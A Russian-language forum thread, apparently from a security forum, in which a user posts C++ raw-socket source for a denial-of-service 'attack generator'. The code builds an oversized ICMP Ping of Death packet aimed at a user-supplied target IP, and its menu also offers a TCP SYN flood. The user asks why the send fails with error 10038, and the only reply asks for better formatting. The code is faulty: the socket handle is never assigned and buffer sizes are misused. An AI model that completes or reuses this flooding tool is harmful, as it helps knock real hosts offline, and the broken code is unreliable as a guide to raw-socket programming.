• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Ping Of Death

  • Автор темы Zhenya00
  • Дата начала
Z

Zhenya00

Задача следующая дали написать генератор атак. Начал писать ping of death. Использую winsock 2, вроде что-то понял, но при отправке пакетов компилятор выдает ошибку 10038, где ошибка найти не могу, знаю только,что с отправкой пакета
C++:

#include <iostream>
#include <conio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32.lib")
#define MAX_PACKET 65535 //Max длина пакета
#define MTU 1496
#define PING_OF_DEATH 65545 // так как POD предполагает фрагментированного ICMP пакета длиной
//более 65535 байт либо длиной < 1кб
#define FRAGMENT ((MAX_PACKET/MTU)+1)

using namespace std;

typedef struct IP_Hdr
{
unsigned char version:4;
unsigned char Head_len:4;
unsigned char tos;
unsigned short tot_ip;
unsigned short id;
unsigned char flags:3;
unsigned short offset:13;
unsigned char TTL;
unsigned char Hlev_proto;
unsigned short checksum;
unsigned int src_addr;
unsigned int dst_adr;
unsigned int opt;
}ip_header;
typedef struct Icmp_Hdr
{
unsigned char type;
unsigned char code;
unsigned short icmp_checksum;
}Icmp_Hdr;
typedef struct Udp_Hdr
{
unsigned short src_port;
unsigned short dst_port;
unsigned short udp_length;
unsigned short udp_checksum;
}Udp_Hdr;
typedef struct Udp_psdHdr
{
unsigned int src_addr;
unsigned int dst_adr;
unsigned char zero;
unsigned char Hlproto;
unsigned short total_length;
unsigned short src_port;
unsigned short dst_port;
unsigned short udp_length;
unsigned short udp_checksum;
}Udp_psdHdr;
typedef struct Tcp_Hdr
{

unsigned short src_port;
unsigned short dst_port;
unsigned int seq_num;
unsigned int ack_num;
unsigned char Head_len:4;
unsigned char rezerv:6;
unsigned char flags:6;
unsigned short win_len;
unsigned short tcp_checksum;
unsigned short tcp_urgent;
}Tcp_Hdr;
typedef struct Tcp_psdHdr
{
unsigned int src_addr;
unsigned int dst_adr;
unsigned char zero;
unsigned char Hlproto;
unsigned short total_length;
unsigned short src_port;
unsigned short dst_port;
unsigned int seq_num;
unsigned int ack_num;
unsigned char Head_len:4;
unsigned char rezerv:6;
unsigned char flags:6;
unsigned short win_len;
unsigned short tcp_checksum;
unsigned short tcp_urgent;
}Tcp_psdHdr;


// Реализация класса
class Headers
{
private:
ip_header IP;
SOCKET Mysock;
sockaddr_in Addressdst;
sockaddr_in Addresssrc;
Icmp_Hdr ICMP;
Udp_Hdr UDP;
Udp_psdHdr UDPPSD;
Tcp_Hdr TCP;
Tcp_psdHdr TCPPSD;
WSADATA sock_ver;
DWORD OPT; // установка опции IP пакета
char* data;
public:

void Fill_IP(int n);
void Fill_addr();
USHORT checksum(unsigned short* HEADER,int size);
};





USHORT Headers::checksum(unsigned short* HEADER,int size) // Подсчет CRC
{
unsigned long CRC=0;
while(size>1)
{
CRC+=*HEADER++;
size-=sizeof(USHORT);
}
if(size)
{
CRC+=*(UCHAR*)HEADER;
}
CRC=(CRC>>16)+(CRC&0xffff);
CRC+=CRC>>16;
return (USHORT)(~CRC);
}



void Headers::Fill_addr() //заполнение порта и адреса
{
int Tport;
char* ADDR=new char[17];
cout<<"Enter source IP: ";
cin.getline(ADDR,17);
IP.src_addr=inet_addr(ADDR);
Addresssrc.sin_addr.s_addr=IP.src_addr;
delete[]ADDR;
ADDR=new char[17];
сout<<"Enter destination IP: ";
cin.getline(ADDR,17);
IP.dst_adr=inet_addr(ADDR);
Addressdst.sin_addr.s_addr=IP.dst_adr;
cout<<endl<<"Enter src port N: ";
cin>>Tport;
Addressdst.sin_family=AF_INET;
Addresssrc.sin_family=AF_INET;
Addresssrc.sin_port=htons(Tport);
cout<<endl<<"Enter dst port N: ";
cin>>Tport;
Addressdst.sin_port=htons(Tport);



}



void Headers::Fill_IP(int n) //заполнение IP датаграммы
{

IP.opt=0;
IP.tos=0;
IP.TTL=255;
IP.version=4;
IP.checksum=0;
IP.flags=0;
IP.Head_len=sizeof(IP_Hdr);
IP.id=0;
IP.offset=0;
IP.opt=0;
switch(n)
{
case 1:
//это для выбора типа атаки пока интересует ping of death
{
data=new char[PING_OF_DEATH];
unsigned int packet_length;
memset(data,0,sizeof(data));
IP.Hlev_proto=IPPROTO_ICMP;
ICMP.code=0;
ICMP.type=8;
ICMP.icmp_checksum=0;
memcpy(data,&IP,sizeof(IP_Hdr));
IP.checksum=checksum((unsigned short*)data,sizeof(IP_Hdr));
memcpy(data+sizeof(IP_Hdr),&ICMP,sizeof(Icmp_Hdr));
memcpy((data+sizeof(IP_Hdr)+sizeof(Icmp_Hdr)),"^",sizeof(data));
ICMP.icmp_checksum=checksum((unsigned short*)data,sizeof(Icmp_Hdr));
packet_length=PING_OF_DEATH+sizeof(IP_Hdr);
IP.tot_ip=htons(packet_length);
if(WSAStartup(MAKEWORD(2,2),&sock_ver)==-1)
{
cout<<"Error of startup: "<<GetLastError();
getch();
}
if(socket(AF_INET,SOCK_RAW,IPPROTO_IP)==INVALID_SOCKET)
{
cout<<"Error of initialization: "<<GetLastError();
getch();
}
OPT=1;
if(setsockopt(Mysock,IPPROTO_IP,IP_HDRINCL,(char*)&OPT,sizeof(OPT))==SOCKET_ERROR)


// установка опции в единицу и установка IP_HDRINCL т.к мы сами будем заполнять поля датаграммы
// вот здесь всплывает ошибка 10038


{
cout<<"Error of options: "<<GetLastError();
getch();
}
if(sendto(Mysock,data,PING_OF_DEATH,0,(sockaddr*)&Addresssrc,sizeof(Addresssrc))==-1)


// И здесь 10038
// я предполагаю, что датаграмму надо разбить на фрагменты,
//но я прочитал, что при использовании IPv4 это дело берет на
//себя ОС! ИЛИ я ошибаюсь?


{
cout<<"Error of sending: "<<GetLastError();
getch();
}



}break;
}

}
:newconfus: :newconfus:
int main()
{
Headers HDR;
int type;
cout<<"Choose attack type: "<<endl;
cout<<"1. POD: "<<endl;
cout<<"2. TCP SYN flood: "<<endl;
type=getch();

switch(type)
{
case 49:
{
HDR.Fill_addr();
HDR.Fill_IP(1);
}break;
default:
cout<<"error: ";break;
}

getch();
return 0;
}
C++:
 
L

lazybiz

Zhenya00
Давай еще раз но уже с тэгом С++ и отступами!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!